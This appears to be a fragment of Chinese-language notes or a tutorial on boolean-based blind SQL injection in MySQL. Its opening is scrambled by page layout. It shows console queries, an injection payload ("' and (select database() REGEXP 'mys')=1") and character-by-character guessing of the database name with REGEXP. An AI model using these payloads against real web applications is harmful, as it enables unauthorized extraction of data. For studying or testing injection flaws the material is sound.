              from

              =
              1

              +------+------+
            
          
          
            
              |
               id   
              |
               name 
              |
            
          
          
            
              +------+------+

              1
               
              |
               bma  
              |
            
          
          
            
              |
                  
              1
               
              |
               a
              '   |
            
          
          
            
              |    1 | bma  |
            
          
          
            
              +------+------+
            
          
          
            
              3 rows in set (0.00 sec)
            
          
          
            
          

          
            
              mysql> select * from test where id =1 and (select user()) > '
              rox
              ';
            
          
          
            
              Empty set (0.00 sec)


        尝试这样：
' and (SQL)=1 
and (select database() REGEXP 'mys')=1 
sql 规律如下，用boolean 盲注
mysql> select database() REGEXP 'm';        //用正则来判断
+-----------------------+
| database() REGEXP 'm' |
+-----------------------+
|                     1 |
+-----------------------+
1 row in set (0.00 sec)
mysql> select database() REGEXP 'my';
+------------------------+
| database() REGEXP 'my' |
+------------------------+
|                      1 |
+------------------------+
1 row in set (0.00 sec)

mysql> select database() REGEXP 'mys';
+-------------------------+
| database() REGEXP 'mys' |
+-------------------------+
|                       1 |
+-------------------------+
1 row in set (0.00 sec)

mysql> select database() REGEXP 'mysq';
+--------------------------+
| database() REGEXP 'mysq' |
+--------------------------+
|                        1 |
+--------------------------+
1 row in set (0.00 sec)
